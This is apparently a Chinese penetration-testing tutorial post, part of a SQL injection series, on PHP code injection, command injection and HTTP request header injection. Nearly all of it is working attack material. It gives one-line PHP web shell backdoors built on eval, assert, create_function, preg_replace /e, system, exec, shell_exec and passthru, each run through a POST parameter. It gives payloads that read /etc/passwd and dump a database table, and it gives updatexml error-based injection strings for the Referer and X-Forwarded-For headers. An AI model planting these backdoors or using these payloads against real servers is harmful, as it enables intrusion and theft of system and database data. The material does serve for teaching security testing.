sql注入(9), 代码注入, 命令注入

代码注入, 命令注入

一, 代码注入

通过木马执行php代码.
原则上只要是能导致上传的payload可以执行的函数都可以使用.

1. eval() 函数

在php中 eval() 函数可以执行任意有效的php代码, 比如 eval(“phpinfo();”).
通过post请求也可以执行更复杂的代码.

后门:

 @eval($_POST['cmd']); ?>

payload:

cmd=$a=100;$b=200;print($a+$b);
cmd=$conn = mysqli_connect('127.0.0.1', 'root', '', 'learn');mysqli_set_charset($conn, 'utf8');$result = mysqli_query($conn, "select * from user");$rows = mysqli_fetch_all($result);var_dump($rows);
2. assert() 函数

assert() 判断一个表达式是否成立, 它会先执行表达式再判断. 所以利用它可以执行我们需要的代码.

后门:

 @assert($_POST['cmd']); ?>

payload:

cmd=phpinfo();
cmd=print(date('Y-m-d'));

通过assert执行eval函数也可以执行多条代码.
cmd=eval('$a=100;$b=200;print($a+$b);');
3. create_function() 函数

该函数用来创建匿名函数. payload 作为函数体来执行.

后门:


$func = create_function('', $_POST['cmd']);
$func();
?>

payload:

cmd=phpinfo();
cmd=$a=100;$b=200;print($a+$b);
cmd=eval('$a=100;$b=200;print($a+$b);');
4. preg_replace() 函数

这是正则替换函数, 第一个字符串参数中如果包含 ‘/e’, 就会解析执行后面第二个参数的代码.
注意: 只适用于 php5.5 以下的版本, 新版本已经舍弃 ‘/e’ 参数.

后门:

 @preg_replace("/test/e",$_POST['cmd'],"string")?>

payload:

cmd=phpinfo();

二, 命令注入

通过木马执行linux系统命令.

1. system() 函数

后门:

 system($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd
2. echo exec() 函数

exec() 前面需要加echo回显.
后门:

 echo exec($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd
3. echo shell_exec() 函数

exec() 前面需要加echo回显.
后门:

 echo shell_exec($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd
4. passthru() 函数

后门:

 passthru($_POST['cmd']); ?>

payload:

cmd=cat /etc/passwd

三, http请求头注入

原理:

服务器可能为了统计数据会将客户端发送的某些请求头信息记录到数据库,
例如 Referer, User-Agent, Host, X-Forwarded-For 等等,
那么通过修改请求头信息可以造成数据库报错, 进行报错注入.

可以使用burpsuit工具伪造请求头. 例如:

Referer:' or updatexml(1, concat(0x7e, database(), 0x7e) ,1) or '
X-Forwarded-For:' or updatexml(1, concat(0x7e, database(), 0x7e) ,1) or '

你可能感兴趣的:(渗透测试,sql,android,数据库)